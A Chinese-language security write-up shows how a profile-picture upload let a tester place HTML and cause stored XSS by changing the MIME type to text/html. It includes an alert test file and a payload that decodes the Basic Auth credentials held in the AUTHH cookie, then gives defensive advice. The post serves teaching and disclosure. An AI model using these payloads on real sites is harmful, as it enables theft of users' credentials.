挖洞经验 | 头像上传构造存储型XSS技术分析
字数 1317 2025-08-15 21:31:11

存储型XSS漏洞利用技术分析:通过头像上传功能实现攻击

漏洞概述

本文详细分析了一种通过用户头像上传功能构造存储型XSS(跨站脚本攻击)的技术方法。攻击者利用目标站点对上传文件类型验证不严的缺陷,上传恶意HTML文件而非正常图片,进而实现存储型XSS攻击,最终可窃取用户的认证凭据。

漏洞发现过程

1. 目标功能定位

在测试某Web应用时,发现以下关键功能点:

  • 用户设置项中存在头像上传功能
  • 上传接口使用PATCH请求操作
  • 图像数据以Base64编码形式通过JSON结构传输

2. 上传机制分析

请求参数分析:

  • ProfilePicture:Base64编码的图像数据
  • ProfilePictureMIME:指定上传文件的MIME类型(原为image/png

3. 文件类型绕过测试

测试人员尝试修改MIME类型:

  • 改为text/x-phpapplication/php:上传被拒绝
  • 改为text/html上传成功

漏洞利用技术

1. 基本XSS测试

上传包含简单JavaScript的HTML文件:

<!DOCTYPE html>
<html>
<body>
<h1>Test</h1>
</body>
<script>alert(1);</script>
</html>
  • 将文件Base64编码后替换ProfilePicture参数值
  • 修改ProfilePictureMIMEtext/html
  • 上传后可通过浏览器直接访问该HTML文件

2. 攻击场景分析

关键发现:

  • 头像文件存储在与主站相同的域名下(同源)
  • 无需特殊权限即可访问任意用户的头像文件
  • 示例头像URL格式:
    https://something.redacted.com/res/img/usermeta//551/USER_7025dffcf32e4097bebe7b530f9f1a5d.png?ts=1584857339
    

3. 认证信息窃取

目标站点认证机制:

  • 使用HTTP Basic Authentication
  • Cookie中包含Base64编码的认证信息(AUTHH
  • 该值与Authorization Header中的信息一致

示例Cookie:

Cookie: AUTHH=QmFzaWMgWm1GclpUcG1ZV3RsY0dGemN3PT0=

4. 高级攻击载荷

构造窃取凭据的HTML文件:

<html>
<head>
  <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js"></script>
  <script src="https://cdn.jsdelivr.net/npm/js-cookie@rc/dist/js.cookie.min.js"></script>
</head>
<body>
  <h1>Password Display by bad5ect0r</h1>
  <p>Your username is: <span id="uname"></span></p>
  <p>Your password is: <span id="pass"></span></p>
</body>
<script>
  $(document).ready(function () {
    const AUTHH = Cookies.get('AUTHH');
    const unb64 = atob(AUTHH);
    const basic = unb64.split(' ');
    const uname_pass = atob(basic[1]).split(':');
    const user = uname_pass[0];
    const pass = uname_pass[1];
    $('#uname').html(user);
    $('#pass').html(pass);
  });
</script>
</html>

5. 攻击流程解析

  1. 获取Cookie中的AUTHH
  2. Base64解码AUTHH
  3. 分割解码后的字符串获取Basic认证部分
  4. 再次Base64解码认证部分
  5. 分割用户名和密码
  6. 将凭据显示在页面上

防御建议

1. 上传文件验证

  • 实施严格的MIME类型检查,只允许图片类型(image/*)
  • 检查文件内容而不仅依赖Content-Type
  • 对上传文件进行重命名,避免直接执行

2. 认证安全

  • 避免在Cookie中存储敏感认证信息
  • 使用HttpOnly标志防止JavaScript访问Cookie
  • 考虑使用更安全的认证方式替代Basic Auth

3. 访问控制

  • 对用户上传的文件实施访问权限控制
  • 考虑将用户上传内容存储在独立域名下(隔离同源策略)

4. 内容安全策略

  • 实施CSP(Content Security Policy)限制脚本执行
  • 禁止内联JavaScript执行

总结

本案例展示了如何通过以下步骤利用存储型XSS漏洞:

  1. 发现并绕过不严格的文件上传限制
  2. 上传恶意HTML文件而非正常图片
  3. 利用同源策略访问敏感Cookie信息
  4. 解码并窃取用户凭据

关键经验:当测试文件上传功能时,如果无法上传Webshell,尝试上传HTML文件可能发现XSS漏洞。这种攻击方式常被忽视但危害严重。

存储型XSS漏洞利用技术分析:通过头像上传功能实现攻击 漏洞概述 本文详细分析了一种通过用户头像上传功能构造存储型XSS(跨站脚本攻击)的技术方法。攻击者利用目标站点对上传文件类型验证不严的缺陷,上传恶意HTML文件而非正常图片,进而实现存储型XSS攻击,最终可窃取用户的认证凭据。 漏洞发现过程 1. 目标功能定位 在测试某Web应用时,发现以下关键功能点: 用户设置项中存在头像上传功能 上传接口使用PATCH请求操作 图像数据以Base64编码形式通过JSON结构传输 2. 上传机制分析 请求参数分析: ProfilePicture :Base64编码的图像数据 ProfilePictureMIME :指定上传文件的MIME类型(原为 image/png ) 3. 文件类型绕过测试 测试人员尝试修改MIME类型: 改为 text/x-php 和 application/php :上传被拒绝 改为 text/html : 上传成功 漏洞利用技术 1. 基本XSS测试 上传包含简单JavaScript的HTML文件: 将文件Base64编码后替换 ProfilePicture 参数值 修改 ProfilePictureMIME 为 text/html 上传后可通过浏览器直接访问该HTML文件 2. 攻击场景分析 关键发现: 头像文件存储在与主站相同的域名下(同源) 无需特殊权限即可访问任意用户的头像文件 示例头像URL格式: 3. 认证信息窃取 目标站点认证机制: 使用HTTP Basic Authentication Cookie中包含Base64编码的认证信息( AUTHH ) 该值与Authorization Header中的信息一致 示例Cookie: 4. 高级攻击载荷 构造窃取凭据的HTML文件: 5. 攻击流程解析 获取Cookie中的 AUTHH 值 Base64解码 AUTHH 值 分割解码后的字符串获取Basic认证部分 再次Base64解码认证部分 分割用户名和密码 将凭据显示在页面上 防御建议 1. 上传文件验证 实施严格的MIME类型检查,只允许图片类型(image/* ) 检查文件内容而不仅依赖Content-Type 对上传文件进行重命名,避免直接执行 2. 认证安全 避免在Cookie中存储敏感认证信息 使用HttpOnly标志防止JavaScript访问Cookie 考虑使用更安全的认证方式替代Basic Auth 3. 访问控制 对用户上传的文件实施访问权限控制 考虑将用户上传内容存储在独立域名下(隔离同源策略) 4. 内容安全策略 实施CSP(Content Security Policy)限制脚本执行 禁止内联JavaScript执行 总结 本案例展示了如何通过以下步骤利用存储型XSS漏洞: 发现并绕过不严格的文件上传限制 上传恶意HTML文件而非正常图片 利用同源策略访问敏感Cookie信息 解码并窃取用户凭据 关键经验 :当测试文件上传功能时,如果无法上传Webshell,尝试上传HTML文件可能发现XSS漏洞。这种攻击方式常被忽视但危害严重。